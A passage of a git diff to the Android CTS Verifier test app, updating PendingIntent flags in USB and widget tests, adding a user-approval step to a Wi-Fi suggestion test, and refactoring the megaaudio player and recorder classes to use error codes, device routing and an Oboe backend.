+
super.onDestroy();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
index 4bbcddc..faee07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/device/UsbDeviceTestActivity.java
@@ -151,7 +151,7 @@
mUsbManager.requestPermission(device,
PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
- new Intent(ACTION_USB_PERMISSION), 0));
+ new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
case ACTION_USB_PERMISSION:
boolean granted = intent.getBooleanExtra(
@@ -1588,7 +1588,7 @@
mUsbManager.requestPermission(device,
PendingIntent.getBroadcast(UsbDeviceTestActivity.this, 0,
- new Intent(ACTION_USB_PERMISSION), 0));
+ new Intent(ACTION_USB_PERMISSION), PendingIntent.FLAG_MUTABLE_UNAUDITED));
break;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
index fa42d82..434540e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/usb/mtp/MtpHostTestActivity.java
@@ -261,7 +261,7 @@
mUsbManager.requestPermission(
mUsbDevice,
PendingIntent.getBroadcast(
- MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), 0));
+ MtpHostTestActivity.this, 0, new Intent(ACTION_PERMISSION_GRANTED), PendingIntent.FLAG_MUTABLE_UNAUDITED));
latch.await();
assertTrue(mUsbManager.hasPermission(mUsbDevice));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
index 74146f1..23477c2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/widget/WidgetCtsProvider.java
@@ -279,14 +279,14 @@
pass.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
pass.setData(Uri.parse(pass.toUri(Intent.URI_INTENT_SCHEME)));
final PendingIntent passPendingIntent = PendingIntent.getBroadcast(context, 0, pass,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
final Intent fail = new Intent(context, WidgetCtsProvider.class);
fail.setAction(WidgetCtsProvider.FAIL);
fail.putExtra(AppWidgetManager.EXTRA_APPWIDGET_ID, appWidgetId);
fail.setData(Uri.parse(fail.toUri(Intent.URI_INTENT_SCHEME)));
final PendingIntent failPendingIntent = PendingIntent.getBroadcast(context, 0, fail,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
rv.setOnClickPendingIntent(R.id.pass, passPendingIntent);
rv.setOnClickPendingIntent(R.id.fail, failPendingIntent);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
index 1a829f2..ef965b3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/wifi/testcase/NetworkSuggestionTestCase.java
@@ -39,6 +39,8 @@
import android.util.Log;
import android.util.Pair;
+import androidx.core.os.BuildCompat;
+
import com.android.cts.verifier.R;
import com.android.cts.verifier.wifi.BaseTestCase;
import com.android.cts.verifier.wifi.CallbackUtils;
@@ -75,8 +77,10 @@
private NetworkRequest mNetworkRequest;
private CallbackUtils.NetworkCallback mNetworkCallback;
private ConnectionStatusListener mConnectionStatusListener;
+ private UserApprovalStatusListener mUserApprovalStatusListener;
private BroadcastReceiver mBroadcastReceiver;
private String mFailureReason;
+ private int mUserApprovedStatus = WifiManager.STATUS_SUGGESTION_APPROVAL_UNKNOWN;
private final boolean mSetBssid;
private final boolean mSetRequiresAppInteraction;
@@ -156,6 +160,23 @@
}
}
+ private class UserApprovalStatusListener implements
+ WifiManager.SuggestionUserApprovalStatusListener{
+ private final CountDownLatch mCountDownLatch;
+
+ UserApprovalStatusListener(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+ @Override
+ public void onUserApprovalStatusChange() {
+ mUserApprovedStatus = mWifiManager.getNetworkSuggestionUserApprovalStatus();
+ if (mUserApprovedStatus == WifiManager.STATUS_SUGGESTION_APPROVAL_PENDING) {
+ return;
+ }
+ mCountDownLatch.countDown();
+ }
+ }
+
// TODO(b/150890482): Capabilities changed callback can occur multiple times (for ex: RSSI
// change) & the sufficiency checks may result in ths change taking longer to take effect.
// This method accounts for both of these situations.
@@ -219,6 +240,21 @@
mWifiManager.addSuggestionConnectionStatusListener(
Executors.newSingleThreadExecutor(), mConnectionStatusListener);
+ final CountDownLatch userApprovalCountDownLatch = new CountDownLatch(1);
+ if (BuildCompat.isAtLeastS()) {
+ mUserApprovedStatus = mWifiManager.getNetworkSuggestionUserApprovalStatus();
+ if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+ mUserApprovalStatusListener = new UserApprovalStatusListener(
+ userApprovalCountDownLatch);
+ if (!mWifiManager.addSuggestionUserApprovalStatusListener(
+ Executors.newSingleThreadExecutor(), mUserApprovalStatusListener)) {
+ setFailureReason(mContext.getString(R.string
+ .wifi_status_suggestion_add_user_approval_status_listener_failure));
+ return false;
+ }
+ }
+ }
+
// Step: Register network callback to wait for connection state.
mNetworkRequest = new NetworkRequest.Builder()
.addTransportType(TRANSPORT_WIFI)
@@ -238,6 +274,30 @@
setFailureReason(mContext.getString(R.string.wifi_status_suggestion_add_failure));
return false;
}
+ // Step: Ask user to approval the suggestion.
+ if (BuildCompat.isAtLeastS()) {
+ if (mUserApprovedStatus != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+ mListener.onTestMsgReceived(mContext.getString(
+ R.string.wifi_status_suggestion_wait_for_user_approval));
+ }
+ if (mUserApprovalStatusListener != null) {
+ if (!userApprovalCountDownLatch.await(CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+ setFailureReason(mContext.getString(
+ R.string.wifi_status_suggestion_user_approval_status_failure));
+ return false;
+ }
+ if (mUserApprovedStatus
+ != WifiManager.STATUS_SUGGESTION_APPROVAL_APPROVED_BY_USER) {
+ setFailureReason(mContext.getString(
+ R.string.wifi_status_suggestion_user_approve_failure));
+ return false;
+ }
+ }
+ } else {
+ mListener.onTestMsgReceived(mContext.getString(
+ R.string.wifi_status_suggestion_wait_for_user_approval));
+ }
+
if (DBG) Log.v(TAG, "Getting suggestion");
List<WifiNetworkSuggestion> retrievedSuggestions = mWifiManager.getNetworkSuggestions();
if (!Objects.equals(mNetworkSuggestions, retrievedSuggestions)) {
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
index 72b1209..7021bfc 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/BuilderBase.java
@@ -16,11 +16,13 @@
package org.hyphonate.megaaudio.common;
public class BuilderBase {
+ //TODO exlain the structure of these constants
// API Types - enumerated in high nibble
- protected static final int TYPE_MASK = 0xF000;
- private static final int TYPE_UNDEFINED = 0xF000;
- public static final int TYPE_JAVA = 0x0000;
- public static final int TYPE_OBOE = 0x1000;
+ public static final int TYPE_MASK = 0xF000;
+ public static final int TYPE_UNDEFINED = 0xF000;
+ public static final int TYPE_NONE = 0x0000;
+ public static final int TYPE_JAVA = 0x1000;
+ public static final int TYPE_OBOE = 0x2000;
// API subtypes - enumerated in low nibble
public static final int SUB_TYPE_MASK = 0x0000F;
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
index 41dcad6..1fb3cf0 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/common/StreamBase.java
@@ -15,19 +15,29 @@
*/
package org.hyphonate.megaaudio.common;
+import android.media.AudioDeviceCallback;
+import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
public abstract class StreamBase {
- /*
- * Stream attributes
- */
+ //
+ // Error Codes
+ // These values must be kept in sync with the equivalent symbols in
+ // megaaudio/common/Streambase.h
+ //
+ public static final int OK = 0;
+ public static final int ERROR_UNKNOWN = -1;
+ public static final int ERROR_UNSUPPORTED = -2;
+ public static final int ERROR_INVALID_STATE = -3;
+
+ //
+ // Stream attributes
+ //
protected int mChannelCount;
protected int mSampleRate;
- public int getChannelCount() { return mChannelCount; }
- public int getSampleRate() { return mSampleRate; }
-
- public abstract int getNumBufferFrames();
+ // Routing
+ protected AudioDeviceInfo mRouteDevice;
// the thread on which the underlying Android AudioTrack/AudioRecord will run
protected Thread mStreamThread = null;
@@ -35,6 +45,18 @@
//
// Attributes
//
+ public int getChannelCount() { return mChannelCount; }
+ public int getSampleRate() { return mSampleRate; }
+
+ public abstract int getNumBufferFrames();
+
+ // Routing
+ public void setRouteDevice(AudioDeviceInfo routeDevice) {
+ mRouteDevice = routeDevice;
+ }
+
+ public static final int ROUTED_DEVICE_ID_INVALID = -1;
+ public abstract int getRoutedDeviceId();
//
// Sample Format Utils
@@ -72,24 +94,25 @@
* @param channelCount The number of channels of audio data to be streamed.
* @param sampleRate The stream sample rate
* @param numFrames The number of frames of audio data in the stream's buffer.
- * @return True if the stream is successfully initialized.
+ * @return ERROR_NONE if successful, otherwise an error code
*/
- public abstract boolean setupAudioStream(int channelCount, int sampleRate, int numFrames);
+ public abstract int setupStream(int channelCount, int sampleRate, int numFrames);
- public abstract void teardownAudioStream();
+ public abstract int teardownStream();
/**
* Starts playback on an open stream player. (@see open() method above).
- * @return <code>true</code> if playback/recording starts.
+ * @return ERROR_NONE if successful, otherwise an error code
*/
- public abstract boolean startStream();
+ public abstract int startStream();
/**
* Stops playback.
* May not stop the stream immediately. i.e. does not stop until the next audio callback
* from the underlying system.
+ * @return ERROR_NONE if successful, otherwise an error code
*/
- public abstract void stopStream();
+ public abstract int stopStream();
//
// Thread stuff
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
new file mode 100644
index 0000000..bc94ea4
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/duplex/DuplexAudioManager.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.duplex;
+
+import android.media.AudioDeviceInfo;
+import android.util.Log;
+
+import org.hyphonate.megaaudio.common.BuilderBase;
+import org.hyphonate.megaaudio.common.StreamBase;
+import org.hyphonate.megaaudio.player.AudioSource;
+import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.Player;
+import org.hyphonate.megaaudio.player.PlayerBuilder;
+import org.hyphonate.megaaudio.recorder.AudioSink;
+import org.hyphonate.megaaudio.recorder.AudioSinkProvider;
+import org.hyphonate.megaaudio.recorder.Recorder;
+import org.hyphonate.megaaudio.recorder.RecorderBuilder;
+
+public class DuplexAudioManager {
+ private static final String TAG = DuplexAudioManager.class.getSimpleName();
+
+ // Player
+ //TODO - explain these constants
+ private int mNumPlayerChannels = 2;
+ private int mPlayerSampleRate = 48000;
+ private int mNumPlayerBufferFrames;
+
+ private Player mPlayer;
+ private AudioSourceProvider mSourceProvider;
+ private AudioDeviceInfo mPlayerSelectedDevice;
+
+ // Recorder
+ private int mNumRecorderChannels = 2;
+ private int mRecorderSampleRate = 48000;
+ private int mNumRecorderBufferFrames;
+
+ private Recorder mRecorder;
+ private AudioSinkProvider mSinkProvider;
+ private AudioDeviceInfo mRecorderSelectedDevice;
+ private int mInputPreset = Recorder.INPUT_PRESET_NONE;
+
+ public DuplexAudioManager(AudioSourceProvider sourceProvider, AudioSinkProvider sinkProvider) {
+ mSourceProvider = sourceProvider;
+ mSinkProvider = sinkProvider;
+ }
+
+ public void setInputPreset(int preset) { mInputPreset = preset; }
+
+ public int setupStreams(int playerType, int recorderType) {
+ // Recorder
+ if ((recorderType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+ try {
+ mRecorder = new RecorderBuilder()
+ .setRecorderType(recorderType)
+ .setAudioSinkProvider(mSinkProvider)
+ .build();
+ if (mInputPreset != Recorder.INPUT_PRESET_NONE) {
+ mRecorder.setInputPreset(mInputPreset);
+ }
+ mRecorder.setRouteDevice(mRecorderSelectedDevice);
+ int errorCode = mRecorder.setupStream(
+ mNumRecorderChannels, mRecorderSampleRate, mNumRecorderBufferFrames);
+ if (errorCode != StreamBase.OK) {
+ Log.e(TAG, "Recorder setupStream() failed");
+ return errorCode;
+ }
+ mNumRecorderBufferFrames = mRecorder.getNumBufferFrames();
+ } catch (RecorderBuilder.BadStateException ex) {
+ Log.e(TAG, "Recorder - BadStateException" + ex);
+ return StreamBase.ERROR_UNSUPPORTED;
+ }
+ }
+
+ // Player
+ if ((playerType & BuilderBase.TYPE_MASK) != BuilderBase.TYPE_NONE) {
+ try {
+ mNumPlayerBufferFrames =
+ Player.calcMinBufferFrames(mNumPlayerChannels, mPlayerSampleRate);
+ mPlayer = new PlayerBuilder()
+ .setPlayerType(playerType)
+ .setSourceProvider(mSourceProvider)
+ .build();
+ mPlayer.setRouteDevice(mPlayerSelectedDevice);
+ int errorCode = mPlayer.setupStream(
+ mNumPlayerChannels, mPlayerSampleRate, mNumPlayerBufferFrames);
+ if (errorCode != StreamBase.OK) {
+ Log.e(TAG, "Player - setupStream() failed");
+ return errorCode;
+ }
+ } catch (PlayerBuilder.BadStateException ex) {
+ Log.e(TAG, "Player - BadStateException" + ex);
+ return StreamBase.ERROR_UNSUPPORTED;
+ }
+ }
+
+ return StreamBase.OK;
+ }
+
+ public int start() {
+ int result = StreamBase.OK;
+ if (mRecorder != null && (result = mRecorder.startStream()) != StreamBase.OK) {
+ return result;
+ }
+
+ if (mPlayer != null && (result = mPlayer.startStream()) != StreamBase.OK) {
+ return result;
+ }
+
+ return result;
+ }
+
+ public int stop() {
+ int playerResult = StreamBase.OK;
+ if (mPlayer != null) {
+ int result1 = mPlayer.stopStream();
+ int result2 = mPlayer.teardownStream();
+ playerResult = result1 != StreamBase.OK ? result1 : result2;
+ }
+
+ int recorderResult = StreamBase.OK;
+ if (mRecorder != null) {
+ int result1 = mRecorder.stopStream();
+ int result2 = mRecorder.teardownStream();
+ recorderResult = result1 != StreamBase.OK ? result1 : result2;
+ }
+
+ return playerResult != StreamBase.OK ? playerResult: recorderResult;
+ }
+
+ public int getNumPlayerBufferFrames() {
+ return mPlayer != null ? mPlayer.getNumBufferFrames() : 0;
+ }
+
+ public int getNumRecorderBufferFrames() {
+ return mRecorder != null ? mRecorder.getNumBufferFrames() : 0;
+ }
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
index c1dc373..a8c41c1 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSource.java
@@ -15,11 +15,23 @@
*/
package org.hyphonate.megaaudio.player;
-public interface AudioSource {
+public abstract class AudioSource {
+ public AudioSource() {}
+
+ /**
+ * Called before the stream starts to allow initialization of the source
+ * @param numFrames The number of frames that will be requested in each pull() call.
+ * @param numChans The number of channels in the stream.
+ */
+ public void init(int numFrames, int numChans) {}
+
+ public void start() {}
+ public void stop() {}
+
/**
* reset a stream to the beginning.
*/
- public void reset();
+ public void reset() {}
/**
* Process a request for audio data.
@@ -31,5 +43,5 @@
* Note that the player will be blocked by this call.
* Note that the data is assumed to be *interleaved*.
*/
- public int pull(float[] audioData, int numFrames, int numChans);
+ public abstract int pull(float[] audioData, int numFrames, int numChans);
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
index 8a04686..587c699 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/AudioSourceProvider.java
@@ -26,5 +26,5 @@
* @return a native (C/C++) AudioSource subclass object corresponding to the AudioSourceProvider
* implementation (stored in a long).
*/
- long getNativeSource();
+ NativeAudioSource getNativeSource();
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
index 19f3fd9..6f8b8ff 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/JavaPlayer.java
@@ -15,6 +15,7 @@
*/
package org.hyphonate.megaaudio.player;
+import android.media.AudioDeviceInfo;
import android.media.AudioFormat;
import android.media.AudioTrack;
import android.util.Log;
@@ -66,7 +67,7 @@
}
/**
- * Allocates the array or the burst buffer.
+ * Allocates the array for the burst buffer.
*/
private void allocBurstBuffer() {
// pad it by 1 frame. This allows some sources to not have to worry about
@@ -74,6 +75,9 @@
mAudioBuffer = new float[(mNumBufferFrames + 1) * mChannelCount];
}
+ //
+ // Attributes
+ //
/**
* @return The number of frames of audio data contained in the internal buffer.
*/
@@ -82,13 +86,23 @@
return mNumBufferFrames;
}
+ @Override
+ public int getRoutedDeviceId() {
+ if (mAudioTrack != null) {
+ AudioDeviceInfo routedDevice = mAudioTrack.getRoutedDevice();
+ return routedDevice != null ? routedDevice.getId() : ROUTED_DEVICE_ID_INVALID;
+ } else {
+ return ROUTED_DEVICE_ID_INVALID;
+ }
+ }
+
/*
* State
*/
@Override
- public boolean setupAudioStream(int channelCount, int sampleRate, int numBufferFrames) {
+ public int setupStream(int channelCount, int sampleRate, int numBufferFrames) {
if (LOG) {
- Log.i(TAG, "setupAudioStream(chans:" + channelCount + ", rate:" + sampleRate +
+ Log.i(TAG, "setupStream(chans:" + channelCount + ", rate:" + sampleRate +
", frames:" + numBufferFrames);
}
@@ -97,6 +111,7 @@
mNumBufferFrames = numBufferFrames;
mAudioSource = mSourceProvider.getJavaSource();
+ mAudioSource.init(mNumBufferFrames, mChannelCount);
try {
int bufferSizeInBytes = mNumBufferFrames * mChannelCount
@@ -112,19 +127,20 @@
.build();
allocBurstBuffer();
+ mAudioTrack.setPreferredDevice(mRouteDevice);
} catch (UnsupportedOperationException ex) {
if (LOG) {
Log.i(TAG, "Couldn't open AudioTrack: " + ex);
}
mAudioTrack = null;
- return false;
+ return ERROR_UNSUPPORTED;
}
- return true;
+ return OK;
}
@Override
- public void teardownAudioStream() {
+ public int teardownStream() {
stopStream();
waitForStreamThreadToExit();
@@ -136,6 +152,9 @@
mChannelCount = 0;
mSampleRate = 0;
+
+ //TODO - Retrieve errors from above
+ return OK;
}
/**
@@ -146,14 +165,17 @@
* call to the AudioSource.pull() method.
*/
@Override
- public boolean startStream() {
+ public int startStream() {
+ if (mAudioTrack == null) {
+ return ERROR_INVALID_STATE;
+ }
waitForStreamThreadToExit(); // just to be sure.
mStreamThread = new Thread(new StreamPlayerRunnable(), "StreamPlayer Thread");
mPlaying = true;
mStreamThread.start();
- return true;
+ return OK;
}
/**
@@ -162,8 +184,9 @@
* Returns immediately, though a call to AudioSource.pull() may be in progress.
*/
@Override
- public void stopStream() {
+ public int stopStream() {
mPlaying = false;
+ return OK;
}
//
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
new file mode 100644
index 0000000..24e4930
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/NativeAudioSource.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class NativeAudioSource extends AudioSource {
+ private long mNativeSourcePtr;
+
+ public NativeAudioSource(long nativeSourcePtr) {
+ mNativeSourcePtr = nativeSourcePtr;
+ }
+
+ // Use this to call the AudioSource methods in C++ directly
+ public long getNativeObject() { return mNativeSourcePtr; }
+
+ @Override
+ public void init(int numFrames, int numChans) {
+ initN(mNativeSourcePtr, numFrames, numChans);
+ }
+
+ // These can be called from Java, but only do so if you don't mind the JNI overhead
+ @Override
+ public void reset() {
+ resetN(mNativeSourcePtr);
+ }
+
+ @Override
+ public int pull(float[] audioData, int numFrames, int numChans) {
+ return pullN(mNativeSourcePtr, audioData, numFrames, numChans);
+ }
+
+ private native void initN(long nativeSourcePtr, int numFrames, int numChans);
+ private native void resetN(long nativeSourcePtr);
+ private native int pullN(long nativeSourcePtr, float[] audioData, int numFrames, int numChans);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
new file mode 100644
index 0000000..e6770b2
--- /dev/null
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/OboePlayer.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.hyphonate.megaaudio.player;
+
+public class OboePlayer extends Player {
+ boolean mPlaying;
+
+ private int mPlayerSubtype;
+ private long mNativePlayer;
+
+ public OboePlayer(AudioSourceProvider sourceProvider, int playerSubtype) {
+ super(sourceProvider);
+
+ mPlayerSubtype = playerSubtype;
+ mNativePlayer = allocNativePlayer(
+ mSourceProvider.getNativeSource().getNativeObject(), mPlayerSubtype);
+ }
+
+ @Override
+ public int getNumBufferFrames() {
+ return getBufferFrameCountN(mNativePlayer);
+ }
+
+ @Override
+ public int getRoutedDeviceId() {
+ return getRoutedDeviceIdN(mNativePlayer);
+ }
+
+ @Override
+ public boolean isPlaying() { return mPlaying; }
+
+ @Override
+ public int setupStream(int channelCount, int sampleRate, int numBurstFrames) {
+ mChannelCount = channelCount;
+ mSampleRate = sampleRate;
+ return setupStreamN(
+ mNativePlayer, channelCount, sampleRate,
+ mRouteDevice == null ? -1 : mRouteDevice.getId());
+ }
+
+ @Override
+ public int teardownStream() {
+ int errCode = teardownStreamN(mNativePlayer);
+
+ mChannelCount = 0;
+ mSampleRate = 0;
+
+ return errCode;
+ }
+
+ @Override
+ public int startStream() {
+ return startStreamN(mNativePlayer, mPlayerSubtype);
+ }
+
+ @Override
+ public int stopStream() {
+ mPlaying = false;
+
+ return stopN(mNativePlayer);
+ }
+
+ private native long allocNativePlayer(long nativeSource, int playerSubtype);
+
+ private native int setupStreamN(long nativePlayer, int channelCount, int sampleRate, int routeDeviceId);
+ private native int teardownStreamN(long nativePlayer);
+
+ private native int startStreamN(long nativePlayer, int playerSubtype);
+ private native int stopN(long nativePlayer);
+
+ private native int getBufferFrameCountN(long mNativePlayer);
+
+ private native int getRoutedDeviceIdN(long nativePlayer);
+}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
index 6419989..2974766 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/Player.java
@@ -86,7 +86,6 @@
case 8:
return AudioFormat.CHANNEL_OUT_7POINT1;
-
default:
return AudioTrack.ERROR_BAD_VALUE;
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
index b32aa8c..ff0a31b 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/PlayerBuilder.java
@@ -15,6 +15,8 @@
*/
package org.hyphonate.megaaudio.player;
+import android.media.AudioDeviceInfo;
+
import org.hyphonate.megaaudio.common.BuilderBase;
public class PlayerBuilder extends BuilderBase {
@@ -42,15 +44,19 @@
Player player = null;
int playerType = mType & TYPE_MASK;
switch (playerType) {
+ case TYPE_NONE:
+ // NOP
+ break;
+
case TYPE_JAVA:
player = new JavaPlayer(mSourceProvider);
break;
- // FIXME - Uncomment this code when the oboe-based implementation is integrated.
-// case TYPE_OBOE:{
-// int playerSubType = mType & SUB_TYPE_MASK;
-// player = new OboePlayer(mSourceProvider, playerSubType);
-// }
-// break;
+
+ case TYPE_OBOE:{
+ int playerSubType = mType & SUB_TYPE_MASK;
+ player = new OboePlayer(mSourceProvider, playerSubType);
+ }
+ break;
default:
throw new BadStateException();
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
index c674a5d..6123f98 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/SinAudioSourceProvider.java
@@ -17,6 +17,7 @@
import org.hyphonate.megaaudio.player.AudioSource;
import org.hyphonate.megaaudio.player.AudioSourceProvider;
+import org.hyphonate.megaaudio.player.NativeAudioSource;
public class SinAudioSourceProvider implements AudioSourceProvider {
@Override
@@ -25,5 +26,9 @@
}
@Override
- public native long getNativeSource();
+ public NativeAudioSource getNativeSource() {
+ return new NativeAudioSource(allocNativeSource());
+ }
+
+ private native long allocNativeSource();
}
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
index 4e4b89b..72695db 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/player/sources/WaveTableSource.java
@@ -21,7 +21,7 @@
* An AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
* We do simple, linear interpolation for inter-table values.
*/
-public class WaveTableSource implements AudioSource {
+public class WaveTableSource extends AudioSource {
@SuppressWarnings("unused") private static String TAG = WaveTableSource.class.getSimpleName();
/** The samples defining one cycle of the waveform to play */
diff --git a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
index a94d997..83e1a3f 100644
--- a/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
+++ b/apps/CtsVerifier/src/org/hyphonate/megaaudio/recorder/AudioSink.java
@@ -16,16 +16,23 @@
package org.hyphonate.megaaudio.recorder;
public abstract class AudioSink {
+ /**
+ * Called before the stream starts to allow initialization of the sink
+ * @param numFrames The number of frames that will be requested in each process() call.
+ * @param numChans The number of channels in the stream.
+ */
+ public void init(int numFrames, int numChans) {}
+
public void start() {}
public void stop(int lastBufferFrames) {}
/**
* Process incoming audio data.
- * @param audioData The buffer to be filled.
- * @param numFrames The number of frames of audio to provide.
- * @param numChans The number of channels (in the buffer) required by the player.
+ * @param audioData The buffer of audio data.
+ * @param numFrames The number of frames of audio to process.
+ * @param numChans The number of channels (in the buffer).
* Note that the recorder will be blocked by this call.
* Note that the data is assumed to be *interleaved*.
*/
- abstract public void process(final float[] audioData, int numFrames, int numChans);
+ abstract public void push(final float[] audioData, int numFrames, int numChans);
}
